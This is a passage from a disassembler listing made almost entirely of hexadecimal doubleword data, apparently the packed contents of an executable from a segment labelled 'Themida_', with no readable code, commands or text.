800F60D0h, 5, 0D6263B8h, 6661F835h dd 0DBC8F681h, 0C087F1BFh, 12E85Ah, 0AC600000h, 0A6004424h dd 10A70EEAh, 1CAABD99h, 0FA85CFA9h, 0BE18166h, 0F38A5BCAh dd 148E0Fh, 0FE90000h, 14000000h, 53E3DF2Dh, 578145BFh dd 67542B0Ah, 0B866B5FEh, 0B96635DCh, 8DBEF8EFh, 0B81E661Ch dd 6353A988h, 0C811F381h, 8B663758h, 28A0FDFh, 0B2000000h dd 78D0F40h, 52000000h, 5464CFBEh, 6E95E75h, 66000000h dd 943B7952h, 0FE8B66EEh, 10E9h, 0ECEFC600h, 0E6AE296Ch dd 7A496487h, 5380C92h, 0B6FE8BCCh, 0FEB70FA8h, 9E9h, 1CCE2B00h dd 0E459D06Dh, 8B66FEA5h, 81CA81D8h, 66771FF4h, 609665B9h dd 9D5DC981h, 61F84174h, 14E9h, 3146D200h, 0C5539173h dd 0E006C88Fh, 0FB8E78FEh, 93215FD9h, 0CE932h, 7290000h dd 0A102B943h, 0E81108AAh, 0BF0F5CD4h, 19D080F3h, 8BC58A60h dd 8B6661C6h, 3EDB80CEh, 6BB2DA8Bh, 1C6FDE81h, 0FE83290h dd 50000000h, 85232E9Dh, 0B1A486F6h, 6A8644B2h, 0FA8B101Fh dd 0DAB9665Eh, 0FDE8B3Bh, 582h, 0D1816600h, 57609598h dd 0F5B5E53h, 68Dh, 0EDE18100h, 61738428h, 63BF6660h, 28F0F75h dd 60000000h, 0AE96161h, 0F0000000h, 0EDBCA1DCh, 4EC71121h dd 0CE951h, 0F41C0000h, 2FC4FFA4h, 195556B4h, 0C88B8BDEh dd 0D4F0BA66h, 0F1CA8166h, 10E9DFh, 4B7D0000h, 0AC8374E2h dd 1031A5B9h, 12F24723h, 9E9DE05h, 38000000h, 0E0DA5A7Dh dd 0FC9EE942h, 0E960C18Ah, 12h, 4D43BB4Fh, 0E9879B1h, 59F0A8E5h dd 7F551C4h, 0EE9D71Fh, 87000000h, 59310C61h, 0D0B4410Bh dd 0F2E1D366h, 0BA66613Ch, 0D08BD094h, 0D08BD78Bh, 6E8565BFh dd 3840F77h, 80000000h, 0F38142DEh, 508F481h, 8C0FB866h dd 0BE9h, 0CC7C7200h, 0C59408B7h, 0A726D5FAh, 16810Fh dd 0BE80000h, 9D000000h, 0E00B3284h, 3390188Dh, 8166ADE9h dd 5AAAD5CFh, 5890Fh, 81660000h, 66E6B0C8h, 0BA66F88Bh dd 0D38B62C6h, 0DE816AB3h, 474532Dh, 8E8C2B4h, 92000000h dd 0D192518Bh, 5A6BA1E5h, 60F80FB1h, 8E8FCh, 26E80000h dd 0BC0451Ch, 8B6685DEh, 0E9615FCAh, 13h, 32FF62D5h, 0AFF27224h dd 0E2BAC803h, 3364E10Dh, 0F51537Dh, 689h, 62C08100h, 666D3025h dd 5236B4BBh, 0F5833B0h, 28Bh, 0B3D38B00h, 0DE94Dh, 0A4620000h dd 88E1491Dh, 0E6B1B0A1h, 0B1238E10h, 4870FB7h, 66000000h dd 814ACABAh, 0E62D2CE8h, 8166F520h, 66FD32EAh, 0FA3C7BBh dd 7E9C8B7h, 0BC000000h, 0A78BD844h, 8160AF87h, 6B3A7AEBh dd 1ABB6608h, 81F86176h, 217758F1h, 2FCDBA65h, 66603137h dd 420FE881h, 61D1B70Fh, 15830Fh, 10E90000h, 0C9000000h dd 350D0E70h, 88F17311h, 89D623D1h, 81E8760Dh, 0C825D9E2h dd 90C2806Eh, 0B18FE3BFh, 0FA8AF828h, 118C0Fh, 66600000h dd 75C1CA81h, 5E9h, 0F330F500h, 51613B34h, 81665BFCh, 603C6BD1h dd 0FE9h, 555DA900h, 4383995Eh, 54D275D5h, 66DEBA0Ch, 6106D780h dd 0B870Fh, 5E80000h, 62000000h, 62998FFCh, 0BE958h, 31A90000h dd 97A9942Ch, 0BE4570Bh, 0BBC18162h, 0F7B2A5Fh, 0CE81CBB7h dd 6DB24B8Eh, 4FBAD881h, 0AE80F61h, 53000000h, 5CF494A9h dd 0AF3B2ADBh, 9E972h, 10DF0000h, 0A43191E1h, 5FCB5B5Ah dd 8A0F47B0h, 1, 0D88166F5h, 0EB80C716h, 14E95287h, 0B3000000h dd 4576401Ch, 86228382h, 97064928h, 3D68F9DEh, 5947F591h dd 5E9h, 0CD08D600h, 0BA6602C9h, 0D48A0795h, 8850Fh, 840F0000h dd 2, 870F5950h, 0Bh, 5810Fh, 81660000h, 663E78E2h, 0F9F71BFh dd 1D85h, 17820F00h, 0E9000000h, 12h, 0F9AAC813h, 740C2E5Ch dd 94CBC005h, 68151E3Eh, 665204E9h, 0A403F381h, 0C1815059h dd 75526001h, 95BE665Ah, 0CA8B6608h, 34815AB8h, 0FE95328h dd 0BE000000h, 0E6AC7ACBh, 5B0330E5h, 76D22F72h, 605ADB27h dd 0E9F98B66h, 11h, 2B45C976h, 6C82A419h, 0F93C4667h, 0BA0E072Eh dd 10E961E8h, 3F000000h, 0A95A228Fh, 0A19E14ADh, 1729176Eh dd 0F5DD507Ah, 0BB66CA8Bh, 4DBA4353h, 0E95E73DFh, 9, 81AAA0CAh dd 3ABEAB4Eh, 0F08B664Ah, 8E9h, 5D177200h, 72E3B0A3h, 0B5D08B27h dd 81665150h, 592477E1h, 5E8BC881h, 81605910h, 0F4DB90C1h dd 0CDB45276h, 8166615Ah, 0E8DC0AF6h, 10h, 4CB56CB8h, 7817E7CCh dd 3750B4C1h, 29C6CDDFh, 23F9BB66h, 33DA8159h, 0F52FB374h dd 66C7B70Fh, 8166F28Bh, 0E927E3F3h, 0Fh, 61AA80EFh, 0C1C05B59h dd 8F3497ACh, 804661C1h, 0D68BEFD7h, 0B4F88B66h, 5E842h dd 0F7840000h, 80498819h, 0E95808F1h, 11h, 5E437616h, 23BF017Fh dd 0B63E7CA4h, 0DD733DC2h, 0B2FE8B78h, 48E180DEh, 0AFDE80BAh dd 60B5B752h, 3880Fh, 0EE800000h, 6143B61Ch, 6E9h, 6884A300h dd 0E9F59F1Eh, 12h, 98D404E1h, 0E695FDA3h, 0B2DC8BCh, 89BB8DD5h dd 5E9F378h, 4D000000h, 0F8645880h, 3860Fh, 0BF0F0000h dd 0C1BF0FCBh, 0B83AEDB8h, 810F00h, 0B6000000h, 66C38A8Fh dd 6648B5B8h, 0FA86EB81h, 13840Fh, 7E80000h, 0D6000000h dd 9EEFA82Ah, 810F876Ah, 0 dd 12E85Ah, 0A320000h, 7A4B55B8h, 5EB4972Ch, 25F2E02Ah dd 296AA08Ah, 0F59DA8Bh, 0CA80D8B7h, 0D4A2BBE9h, 60533149h dd 0BA66C38Ah, 58616A5Ah, 80CEBF0Fh, 810FBECAh, 3, 0E9F0BF0Fh dd 9, 0A61EF131h, 0E1C4E928h, 0C6BF0F7Dh, 0EE9F58Ah, 2E000000h dd 2062FC87h, 0D8DF1CC0h, 9218DF5Ch, 8E992h, 48980000h dd 5D64DB66h, 0FB8B06E2h, 0E9D6BF0Fh, 14h, 5601845Ah, 7F269DD8h dd 81B48019h, 41E02F30h, 0AA746B83h, 27F4BE66h, 9E9h, 489B3200h dd 30EB0133h, 8B66BCE9h, 0DE9D0h, 82010000h, 99C63DE7h dd 0CD00F1DBh, 0F9D28ED1h, 80C7BF0Fh, 8A0FF8CAh, 2, 806001B1h dd 0F58AC4CCh, 0C3816661h, 3BB4D19Ah, 9EC38166h, 0EE921h dd 0D1FA0000h, 0A3B3D41Dh, 0B14738AEh, 99767F3h, 0E676BFF9h dd 0E981737Fh, 727A3A8Ch, 3880Fh, 0B70F0000h, 0D38166F3h dd 0E9F9C016h, 0Bh, 8F378092h, 1E96B6AAh, 0E8C6507Dh, 12h dd 0FE6B1D7Eh, 6F25D9D1h, 76DB08A4h, 0EF37607Eh, 13E9E6D7h dd 43000000h, 0BABF42E6h, 0BAED778Fh, 0EB0E66D5h, 5E64CE7h dd 8A5B74AAh, 0D6B70FCBh, 7E9h, 2060B100h, 1D987E5Eh, 5E9h dd 0B91BE700h, 0E85717EAh, 0Fh, 0F9B4722h, 0A78C8511h dd 0FD0EA0CEh, 0F2B5612h, 8Bh, 60585B00h, 80CF8B66h, 53611AF4h dd 10E8h, 26CDBF00h, 146E4CEFh, 20829081h, 87471E20h, 0C2B70F0Fh dd 80575F5Fh, 0B859B1DAh, 1EE7EEDFh, 97B4D18Bh, 6E9h, 1F2C2200h dd 81CEC0E2h, 4AEE92D3h, 0D38B6622h, 7DCFBF66h, 0AE9h dd 8332EC00h, 0E63EAC12h, 8BA227D7h, 58BA66D1h, 0F1BF0F28h dd 820FF860h, 4, 528ABF66h, 3850F61h, 66000000h, 12E9C38Bh dd 28000000h, 6B04006h, 0D89AE318h, 298BCA91h, 0D48E7B43h dd 8830FAAh, 0F000000h, 280h, 66FB8B00h, 814667B9h, 27022ECEh dd 0AE90Bh, 59540000h, 0C1FEDB10h, 10CF0EC2h, 0C6C8CDB9h dd 5E829h, 0A7C20000h, 60F91DD4h, 61DA8B66h, 45C18058h dd 0E9C88B66h, 0Dh, 0F40CAEEFh, 0C2DE3E54h, 0A3D62D55h dd 8830F63h, 0F000000h, 28Ah, 0E9595600h, 5, 4BADD61Fh dd 0FEBF0FB2h, 60F28B66h, 11E8h, 79C2DA00h, 0A6648E4Bh dd 0C862D486h, 4E99F303h, 0B9664F33h, 0B05882C5h, 8E961E0h dd 0F7000000h, 0ABE3F77Eh, 509D34BDh, 0D559D181h, 0F5585CF8h dd 0FFF835BEh, 1022BA40h, 7DBF1D0Ch, 0B527204Dh, 0BAD88B10h dd 0E37855Fh, 6E9h, 8A4D7200h, 0B8C86E58h, 4F119A8Bh, 20F08166h dd 80EA80D6h, 287E281h, 870F55B2h, 2, 0BB666DB4h, 8B662BBBh dd 0DBEA81D3h, 6659CF44h, 8A0FFB8Bh, 19h, 13840Fh, 0EE90000h dd 0DF000000h, 5DB1E9FFh, 0A43AD8EDh, 3207A235h, 5FCF811Ch dd 664B492Fh, 0DD10F781h, 0E86ADE80h, 5, 0F161D2D0h, 0DABF0FAEh dd 0DBB86659h, 5E90Ah, 2B950000h, 0E9860889h, 13h, 2DFDABA3h dd 5AAF332Eh, 23013B74h, 1025906h, 0E8F97B24h, 9, 2D54B91Dh dd 6880BD1Fh, 11E9AAh, 29130000h, 0CC52EB1Bh, 4A18272Dh dd 9954358Eh, 5E2E8969h, 43FD8CB9h, 8E953h, 6B340000h dd 5BB67977h, 7FBEA627h, 8B172630h, 8A0FD8h, 0B6000000h dd 5810F1Ch, 0BE000000h, 2D2F7D40h, 0BE9h, 0F40DC700h dd 0AE749F17h, 0B885454Bh, 58F78166h, 2840FC6h, 8B000000h dd 168C0FC2h, 0E9000000h, 11h, 9F163741h, 0A231677Dh, 92B3156Bh dd 0B8DFBC2Bh, 8BF9B550h, 814AB0C3h, 151CF9F6h, 0BE912h dd 22DF0000h, 0ED18204Ah, 825DC465h, 0D980F5ABh, 0FF5603Ch dd 86h, 0B9666100h, 0F7BB15D6h, 603CE38Dh, 850F60h, 0F000000h dd 89h, 8E0F6100h, 14h, 0FE9h, 8FBAF00h, 15B26878h, 7294FFF4h dd 0C2063A82h, 57F78B61h, 0BCC68166h, 11E95A3Eh, 0E3000000h dd 0BC512DDEh, 0C484AFBDh, 85FEB712h, 0A0D618A3h, 0AE9h dd 74061400h, 0C4740D47h, 60547E02h, 0D9BF0F51h, 0D681665Ah dd 0BF61825Ch, 2145855Bh, 0B751D8B4h, 8B535EDAh, 8BB95FC1h dd 0F2628C0h, 13BEFBBFh, 0E95D1B8Ch, 9, 21041C97h, 12B1848Ah dd 0F8BF0F02h, 37D88166h, 0E6CE81BAh, 0B966401Bh, 4B940556h dd 5E9h, 4A007800h, 81608086h, 0F1EFA5F7h, 0D8B70F70h dd 382BE61h, 0CF8B20D1h, 0B7F5BF66h, 7E9h, 69A05F00h, 0F57E0572h dd 424DB866h, 2800Fh, 0C68B0000h, 774C71B8h, 99E9801Bh dd 0CA8BCB8Bh, 8BF08B66h, 0C18BFCCAh, 10E9h, 0F7CC3C00h dd 60FDE4F1h, 0A888A2BCh, 66115E5Dh, 0B8665382h, 0F5FEFBEh dd 0C38BC0B7h, 0F8B70FF5h, 880Fh, 8B660000h, 0CB8166FEh dd 0F580C869h, 10E909h, 3B9C0000h, 0C0D46CA9h, 3D65FCC0h dd 995766CCh, 0EE9A71Ah, 5A000000h, 0A76B043Eh, 1D037227h dd 0A48F515Eh, 560FB128h, 840Fh, 605E0000h, 98EAD781h dd 66572B5Eh, 615FFA8Bh, 7880Fh, 0BA600000h, 49DC0CBEh dd 66C28B61h, 0DC35E181h, 2810FFCh, 0B5000000h, 7F08102h dd 0F530A15Bh, 19860Fh, 14E90000h, 6000000h, 15D25C5Dh dd 594C1094h, 0B03EEE98h, 37AE68F4h, 0FA154DDh, 88Bh, 2830F00h dd 0B3000000h, 11E825h, 180F0000h, 0C77A8CA2h, 0E2A7C0D1h dd 23ECD4F8h, 81898D83h, 0A88628D7h, 0B70F5934h, 0CB8B66C0h dd 860FF2B0h, 4, 0C0A5B866h, 6658F552h, 66F9D08Bh, 0EE9F18Bh dd 0AC000000h, 4CD4980Fh, 0DB912BDDh, 734AE749h, 80F78B60h dd 816645E1h, 0F92D0EEh, 58Bh, 134FBB00h, 820F1B13h, 1Bh dd 0FE8h, 63197000h, 0E9E17837h, 0E8A526B3h, 0D5E9EB28h dd 8D0Fh, 0BB5F0000h, 18CD8EBCh, 0B70FD88Bh, 56BF66DEh dd 2880F48h, 8B000000h, 0D78B66C2h, 0C38185B4h, 7CEBC1C5h dd 2ACF8166h, 0CB8BF8B9h, 8B60C980h, 4840FCEh, 66000000h dd 0BA2A55B8h, 3EA6FF5h, 8AC88B66h, 66D78BC2h, 0B866D18Bh dd 5E880BDh, 0C7000000h, 0C57F02F7h, 48D0Fh, 0BB660000h dd 815A4B81h, 0E6A3D9DFh, 12E957h, 0FC560000h, 0D0461323h dd 37616078h, 890CD9B6h, 0A24753ABh, 3D8DCE81h, 0B70F74F4h dd 6860FD3h, 60000000h, 58505E52h, 0FC4AB161h, 52FB8B66h dd 6880Fh, 0F6810000h, 15EDB9E8h, 810F505Bh, 2, 8B5A5A52h dd 3B8F8F7h, 806045D4h, 0F98BCBC2h, 0A00D181h, 820F59E4h dd 2, 13E9C28Bh, 0D3000000h, 6B1A9559h, 0E25A756Dh, 3E1A466Dh dd 6EA6BCC4h, 49B9630Eh, 8066A84Eh, 0C4BAECE5h, 6071F6D6h dd 0CAE8BA66h, 61FA8B66h, 0F860Fh, 6E80000h, 13000000h dd 0E566FADCh, 0F0BF0FB0h, 5860F59h, 52000000h, 5EFB8B66h dd 4FB9D78Bh, 6000E9F8h, 5E8h, 846DE800h, 0B9668C82h, 6659B6E7h dd 61C49EBFh, 8166C68Bh, 81E444C3h, 0C09CC1D8h, 0CE85Fh dd 0AC840000h, 2D50EA48h, 95145223h, 97B90A37h, 5B19BB34h dd 2B73F081h, 8166799Bh, 0E933E2E8h, 14h, 5580008Eh, 99D49363h dd 2BB05BE9h, 8D6CD09Ah, 6165386Ch, 52F28160h, 0F5545FAh dd 6061FABFh, 0D381F560h, 157CB646h, 0D1E38061h, 8B666061h dd 61C88AD6h, 66F1BF0Fh, 5771FCB9h, 0E850F5Eh, 60000000h dd 890Fh, 8C0F0000h, 0 dd 0E8585661h, 0Eh, 326960F0h, 0B5CCDAFEh, 0E754ABACh dd 0C88BB12Fh, 0BE959h, 3ACA0000h, 0B700BBBEh, 455CFEDCh dd 0CE900h, 27DB0000h, 0CDCFE126h, 0FF980036h, 0DC8A6AA8h dd 138A0Fh, 0EE90000h, 0CE000000h, 36C81FD2h, 71C47955h dd 42C22D49h, 0CDC68103h, 0F94090C0h, 0BE9h, 0A69FB900h dd 0A712945Fh, 0E97E9124h, 2880Fh, 0C8B30000h, 12E9h, 0B80A3200h dd 2C7A4B55h, 2A5EB497h, 8A25F2E0h, 0E8296AA0h, 13h, 90A6D696h dd 4A05C6B1h, 0A31C0469h, 0D7206F21h, 660F1A71h, 375EE781h dd 0CE85Eh, 41FF0000h, 34F26920h, 0F750F478h, 0EF81E715h dd 737C76A9h, 0B5BE6658h, 830FF814h, 10h, 0BE9h, 9AA8CF00h dd 67702BFh, 0F8024625h, 0FFE8B66h, 8Ch, 840FF900h, 3 dd 0E8D88B66h, 0Fh, 0A56C88C6h, 4926FFB6h, 0DEAF1744h dd 665BA2C1h, 5AC739BBh, 0E9FA8B60h, 0Dh, 5CF7D174h, 4B38A20Ch dd 319271DFh, 0E9FC6167h, 0Bh, 0F331C625h, 65D7C4E7h, 0E8CF65A6h dd 0Bh, 9DF208A5h, 3736DA08h, 0FB63C75h, 8059C1B7h, 0FE961D2h dd 0CC000000h, 47CEA425h, 1A4D82F7h, 0B1E13073h, 0D6B88345h dd 56151D83h, 12E957h, 0E3DF0000h, 8145BF53h, 542B0A57h dd 16B5FE67h, 0E0FCCD0Dh, 66FC585Fh, 14E8DF8Bh, 54000000h dd 11E256BBh, 8955782h, 53640142h, 0D79868AEh, 0F569A99h dd 386h, 0F88B6600h, 6E96059h, 0F9000000h, 0F2B4359h, 81E38021h dd 28C0F61h, 8B000000h, 0C18B66C3h, 61D8B360h, 8A5EF853h dd 870FF9C3h, 8, 28F0Fh, 61600000h, 0AFB86660h, 0DBB9663Ch dd 9E9610Eh, 0D9000000h, 0C12D8E32h, 4AA1A217h, 6E8C28Bh dd 0D4000000h, 8172AD47h, 0E2815846h, 78B8A513h, 0AB1CB866h dd 6830Fh, 0F1810000h, 0BF76ADBh, 830Fh, 0CE90000h, 7D000000h dd 0C0AE5B4Fh, 0EBC5E79Ah, 0B9ABF1D4h, 7F2BC5BCh, 84BB66F8h dd 8ADA8B7Eh, 7E9F9h, 0B0D90000h, 0A01E2319h, 13E9BEh dd 954B0000h, 4854FEA4h, 85B8DA02h, 0F07D7EBDh, 88A67EC4h dd 5E84Ch, 0C4810000h, 0FBF4DB9h, 285h, 5F5B5000h, 60F7BF0Fh dd 0F1F8B866h, 0A5581FBEh, 0F9BB6165h, 0E95F2859h, 12h dd 0DF8A140h, 8ADB7C6Fh, 0D0209206h, 16BD2DB2h, 0BF666245h dd 8B66B597h, 0F38B56D9h, 6651B35Eh, 806D4BBAh, 816637E1h dd 662E4FD8h, 6299F081h, 5E8h, 0E200A000h, 0E95F818Bh dd 13h, 0A8CB54EFh, 919802A6h, 21EE450Ah, 0CE262ACCh, 0FFAD371h dd 0B4B7D9B7h, 816EF180h, 776B38C6h, 0D0B86615h, 5880FADh dd 0BF000000h, 48B11E96h, 74F78166h, 0C0F781FDh, 603621FBh dd 0D26EA81h, 0B1B22D01h, 0FADA8061h, 14E9h, 2AE36800h dd 6CB196F3h, 58F8267Ch, 0F21F3CACh, 377088DAh, 9E9FFh dd 7CAB0000h, 0AB05A1F7h, 80628A6Fh, 816073D5h, 820252D8h dd 0C5BA6618h, 665661BBh, 665BC88Bh, 0FF4D1BEh, 68Ch, 60E68100h dd 662DA4FCh, 66D588BEh, 74E3D381h, 0AE9h, 52543800h, 0B2F3864Fh dd 0E99B2C3Eh, 6, 0ADC83C27h, 38B8FD7Dh, 505A4673h, 6810Fh dd 800F0000h, 0 dd 11E85Fh, 0ADC80000h, 0F3DFFD7Dh, 2181A735h, 0AD6F641Dh dd 6666DFCAh, 7083DB81h, 0C8B70F5Eh, 14E8h, 39352500h dd 10F4B8C3h, 75F39FECh, 4038A100h, 0A24645F2h, 8166563Ah dd 59256CD6h, 72C7815Fh, 0F8464A76h, 0A7001EBAh, 6830F16h dd 81000000h, 7AC1EBCEh, 1AC9815Dh, 526B31D2h, 768AF081h dd 515E71D1h, 3DB1F181h, 0F5E5651h, 850FF0BFh, 3, 0FF98B66h dd 8057F0B7h, 8B5A7EF5h, 860F60C7h, 2, 0AE9F58Ah, 55000000h dd 97D80076h, 0CA9AE530h, 8B666146h, 0F09B6D1h, 383h, 0F6BF0F00h dd 0DE960h, 1B7A0000h, 9FB3F0C2h, 8B827D30h, 60D1BAE1h dd 0AAC1B966h, 81666161h, 52E83FC3h, 11E95BFCh, 6D000000h dd 0D7001B30h, 0C1F64651h, 563C150Ah, 0BE70992Dh, 6E9EF8Ah dd 39000000h, 0F268B847h, 0C8E0F3Dh, 0F000000h, 68Eh, 890F00h dd 8B000000h, 26B866D9h, 0B4BE6683h, 0DE8AF8D9h, 0EE9h dd 0E47D0A00h, 0A8B22DB9h, 0F0F4D807h, 0E98968B5h, 13h dd 68400E4Dh, 0F30216Ah, 0BDBEE45Ch, 0CCD9D29h, 603E6BDDh dd 8E8h, 74AB0C00h, 3AC2F56Ah, 61F95F46h, 3820Fh, 0DE800000h dd 5753FCDFh, 5A60E680h, 66D0B158h, 6AD5F381h, 0E956D98Ah dd 5, 78B4A933h, 0F18B5E74h, 622442BAh, 148A0F36h, 0F000000h dd 0E83h, 9E900h, 667E0000h, 3D4B26A1h, 0B29A6442h, 95B96606h dd 0FFBF0F50h, 0B6C18166h, 0D38B6694h, 1389C081h, 0A2B33EE7h dd 9E8h, 0C2DE3E00h, 0A3D62D55h, 0E38AC163h, 0D9B70F5Ah dd 10E9h, 0DFF24200h, 0B47B31DEh, 2B305DD2h, 8540211Ah dd 0E9AEB575h, 0Ah, 8338AAF1h, 7D779FD0h, 666009CFh, 7F63C081h dd 7CC28166h, 0CCBA6156h, 0F66E624h, 58Ch, 0E2816600h dd 8F0FCCCCh, 0Ch, 6870Fh, 810F0000h, 0 dd 0AB27BB56h, 535B190Eh, 68C0Fh, 860F0000h, 0 dd 4810F5Ah, 66000000h, 663105BAh, 261FF181h, 0CE9h, 16164C00h dd 6D8AD068h, 25C5615Eh, 5830FC3h, 53000000h, 59D98B66h dd 62E98150h, 594CB21Bh, 0DFB70F57h, 0EE95Ah, 0A120000h dd 0DABD0998h, 0E53F11C9h, 7403BB0Fh, 0B70FDF8Bh, 816660D7h dd 0B2EA13F3h, 0C1816156h, 55DD6BEFh, 0B866CE8Bh, 12E81FF8h dd 0C000000h, 5A0DA5CDh dword_5BA268 dd 87D206CAh, 44058050h, 70056443h, 0EEC1810Ah, 5F42D0EBh ; DATA XREF: Themida_:0055268Fo dd 6ADA8166h, 9E9D4h, 2EA50000h, 0FD0AB9FBh, 0F557036h dd 180h, 0E951F900h, 9, 0B8FB7FB8h, 719A727Ch, 820F5FC7h dd 4, 7C51BE66h, 0C7C68166h, 1820F2Bh, 0F9000000h, 0EB816656h dd 665F2391h, 6656DE8Bh, 575AD18Bh, 58E0F5Eh, 0B8000000h dd 0F03F4E7h, 1EE28166h, 0E981667Bh, 0F181974Dh, 32049274h dd 5CAD7AB9h, 0F2D68174h, 56136478h, 5E0CDE80h, 2E51B866h dd 870FA5B4h, 14h, 0FE9h, 9E56DF00h, 2F527473h, 926EA2B2h dd 82E20198h, 90DF8152h, 5F3833D4h, 0B1DA8B66h, 0CE911h dd 0CD110000h, 3E4F9AD8h, 24B89327h, 11E9F0C0h, 30000000h dd 0ED2BA960h, 0FA4C4E6h, 1DBD8A80h, 32E518A8h, 3AA1F681h dd 0FE80435h, 49000000h, 0DFEEDBE0h, 0D9CA2FBAh, 3980F4A8h dd 0F78BD860h, 0DA816659h, 14E94889h, 32000000h, 162904E4h dd 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 5085A06Bh, 5E950h dd 8D8A0000h, 5865CCAAh, 1D8F0F59h, 0E8000000h, 14h, 979CF791h dd 31CB4BE4h, 0C7D9D3DEh, 816E43C6h, 0C777992Ah, 59C1BF0Fh dd 11E8h, 7B870300h, 78FFE832h, 4743D599h, 0D2A55052h dd 0F0804DA4h, 7E8594Bh, 34000000h, 805CCB08h, 0B8664291h dd 0B05F1B98h, 1ABE57B8h, 5A7364E7h, 8AC68B66h, 8EE881F8h dd 663C1A8Bh, 8166C18Bh, 666684F0h, 0E39ED981h, 80DDC180h dd 14B184C6h, 3860Fh, 8B660000h, 816053FAh, 0F8D510D6h dd 5658617Ah, 3830Fh, 8B660000h, 9E85FF2h, 5D000000h, 2F84F8B2h dd 75BBC9F4h, 5ED98B66h, 870F6056h, 0 dd 58615952h, 14E9FA8Bh, 90000000h, 0B5082E20h, 0D6160CF0h dd 58DAA226h, 0F720CF1Eh, 0FABB7E5h, 48Fh, 24BB6600h, 0D8B70FB4h dd 604AE980h, 0FAB70F60h, 9BC08166h, 0E96161E4h, 0Bh, 0A92C140Bh dd 0EABE5BBFh, 81CAFDF6h, 62201EC8h, 0BE665225h, 0F55A1A89h dd 2521F381h, 0F781534Dh, 317E819Ch, 9E8h, 5C375700h, 5EE2C54Ch dd 8B60C508h, 0FB8B66D8h, 870F5861h, 11h, 5E8h, 0FAA5A800h dd 820F6AB5h, 0 dd 7E85Fh, 0B8210000h, 9B0645B2h, 9E9FCh, 4D470000h, 6772238Dh dd 5BB2883Ch, 947A05B8h, 4860F2Eh, 66000000h, 0B8F66DB9h dd 3D9D158Eh, 8166FDB3h, 667F24CEh, 814E85BEh, 0C8BF51EBh dd 0EE959h, 886F0000h, 0BF9E6ACFh, 2E8D46E6h, 6770D853h dd 0C3B70F60h, 0CEBF0F61h, 0C880Fh, 0BB600000h, 7C42D541h dd 0DAD889BEh, 0E781611Fh, 76FAB477h, 8BF8BF0Fh, 0FC5FB2D8h dd 664BC580h, 575267B9h, 25EBEA81h, 0BE5A3AA2h, 49BA2726h dd 6652E88Ah, 5E3062BFh, 8FD51FBBh, 5E903h, 12A50000h dd 80EFF0EEh, 0B70F50D1h, 3CEE81D6h, 0BE0E004Ch, 4D4E55C6h dd 66D3BF0Fh, 0D01ACE81h, 0C840Fh, 7E90000h, 0D4000000h dd 5C9ADF8Eh, 0BE90881h, 0D9000000h, 477538DCh, 5A6FFBE4h dd 8A0F53B4h, 6, 800Fh, 81660000h, 6043E2C1h, 38A0Fh, 8B660000h dd 860F61FEh, 1Ch, 10E8h, 9F10DD00h, 424665B7h, 4761105Fh dd 9D6CC050h, 800F92h, 5F000000h, 5810Fh, 81660000h, 0F8A288DFh dd 0EE9h, 7B27D600h, 5FDA4392h, 6E2F1E38h, 0E9153435h dd 6, 0CEA78C85h, 0BAFC0EA0h, 0A92D4E4h, 66A2E580h, 8166C68Bh dd 6009DEF0h, 14E9h, 1F130A00h, 0C58FF803h, 0C3801E03h dd 0A79217B1h, 7F70C0A4h, 0DE863h, 22A60000h, 134418Bh dd 7C53B266h, 59F978DFh, 4EB2BF61h, 0B70F64B4h, 0C38B66F0h dd 7AE18166h, 9AB05647h, 0B70FF559h, 0D88B66DBh, 7D2D57BBh dd 5CBF6608h, 0AE836h, 0D19D0000h, 26BEFFFEh, 6153CD9Ah dd 0BE95Eh, 0F1D10000h, 494C20BEh, 0ADBED4F2h, 3CBF56E3h dd 5A7B6EC8h, 0AE8h, 0AC40B200h, 7FA13104h, 66B8EE6Ah dd 5E37BDBFh, 8B665253h, 0E95B5FC2h, 0Eh, 0CBC6FF96h, 9DD2F4E2h dd 3F6F4628h, 0D6813CB3h, 6CFE65F8h, 80C0BF0Fh, 10E848C6h dd 3B000000h, 4D3DECCEh, 0D635A07Bh, 0DABCB8BBh, 0F9C3FB2h dd 605FDEB7h, 61BBEEB3h, 61228565h, 0BE9h, 0D3301500h dd 0C884030Bh, 0FDD03165h, 18E0Fh, 80F90000h, 0DE8BDC4h dd 8000000h, 4CC8558Fh, 4920E171h, 0F4917A8Eh, 0F48A4EBBh dd 0C78B5B11h, 7FEE8166h, 13E96024h, 0AB000000h, 0EB75848Eh dd 0BE425FE4h, 8D741473h, 3D5389E4h, 10E8031Ah, 0D5000000h dd 0A3D9A7FDh, 5C7ADB0Ch, 0B1A725E1h, 660D3AD3h, 8902E381h dd 840F615Fh, 5, 97E0FDBEh, 12E944h, 0E4330000h, 9489BFE7h dd 98192714h, 0AEF0A7AEh, 4D811B8Fh, 228F0Fh, 7E80000h dd 7E000000h, 0BABE2B04h, 10E965B8h, 0EE000000h, 9E073E2Fh dd 4084BBB2h, 0A6A7B44Eh, 5B73D957h, 7E9h, 15BC6900h, 0FE74EFDEh dd 0B660F28Bh, 0F18B66E7h, 0D08B5361h, 9DBF665Fh, 14E96071h dd 3A000000h, 441851F1h, 0FE5795B4h, 0A5C74E25h, 36394E7Fh dd 60E712D4h, 0BB31D980h, 15D67D2Dh, 10E86161h, 0C1000000h dd 3A67E065h, 3FE0CDA9h, 0DF3467FAh, 0BA0CE9A0h, 3D1C4626h dd 0EF816658h, 870FACEAh, 5, 38EA8166h, 6E915h, 0EAD30000h dd 37F381C9h, 0A8A0Fh, 60600000h, 55C88161h, 6116AB14h dd 5E9h, 0C2A9200h, 7ABE72B0h, 0B504DDA5h, 66DE8B99h, 0CB8BDF8Bh dd 0DF4AD781h, 0B960745Ch, 65F7002Bh, 880F60h, 61000000h dd 7820F61h, 0F000000h, 18Ah, 8166FC00h, 666AEFE6h, 6660C3B9h dd 0E8ACCB81h, 66F2BF0Fh, 0F5CBFFBFh, 0B70FF8F9h, 2DC781CAh dd 0F7B50ECh, 489h, 0E2BB6600h, 0BA6060BCh, 3A353F85h dd 13E8h, 0A62ED600h, 852B41B8h, 4395080Eh, 1B2A3B87h dd 8C92392h, 800F615Ah, 0 dd 0D98B6661h, 6830F53h, 81000000h, 684F1CC3h, 81665877h dd 81099ADBh, 84263E0h, 0F38B663Bh, 12E9h, 56877800h, 552E9756h dd 3BD21261h, 343B1B7h, 0F1077BCh, 986h, 38C0F00h, 0F000000h dd 8060FBB7h, 816677F3h, 61B8C6D0h, 820FC38Bh, 4, 987EBB66h dd 11E853h, 0E34B0000h, 0FA67209Fh, 0ACE45AFFh, 8B00BF28h dd 0B00DEA6Fh, 0E85F58F4h, 0Ah, 1E629A0Dh, 0C869A611h dd 